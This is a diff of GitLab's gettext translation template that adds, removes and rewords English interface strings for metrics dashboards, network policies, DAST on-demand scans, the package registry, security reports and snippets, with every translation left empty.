msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15287,6 +15709,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15389,6 +15817,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15398,9 +15832,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15434,9 +15865,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15450,9 +15887,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15480,6 +15914,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15504,6 +15941,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15582,6 +16022,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15634,12 +16077,18 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15805,6 +16254,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15850,6 +16308,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -16039,12 +16500,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16054,6 +16548,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16066,6 +16563,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16084,12 +16584,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16114,9 +16620,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16129,9 +16641,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16526,12 +17083,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16619,18 +17182,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16778,9 +17335,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16820,9 +17374,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16865,21 +17416,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16889,25 +17446,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16968,9 +17531,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16989,6 +17549,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17004,9 +17567,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17127,18 +17696,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17172,9 +17735,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17259,6 +17819,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17274,6 +17840,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17292,9 +17861,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17331,27 +17897,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17400,13 +17957,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17550,7 +18113,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -18054,6 +18617,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18207,13 +18773,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18225,6 +18791,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18516,15 +19085,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18915,6 +19478,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18939,6 +19505,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19530,7 +20099,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19539,10 +20108,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19602,6 +20180,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19656,6 +20237,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19737,6 +20321,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20067,9 +20654,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20167,6 +20751,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20261,6 +20848,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20303,6 +20893,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20372,9 +20965,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20408,9 +20998,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20423,12 +21010,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20477,15 +21058,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20670,9 +21245,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20864,9 +21436,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -21048,6 +21626,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21060,6 +21641,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21186,6 +21770,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21216,6 +21803,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21264,6 +21854,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21306,6 +21899,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21523,6 +22119,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21550,13 +22149,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21577,6 +22200,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21604,7 +22230,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21640,13 +22266,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21661,19 +22284,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21685,6 +22302,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21703,13 +22323,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21781,7 +22401,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21790,6 +22410,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21820,9 +22443,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21946,6 +22566,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21976,6 +22599,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22165,6 +22791,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22177,6 +22809,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22497,19 +23135,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22605,6 +23243,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22647,7 +23288,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22698,12 +23339,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22761,6 +23411,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22890,10 +23543,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
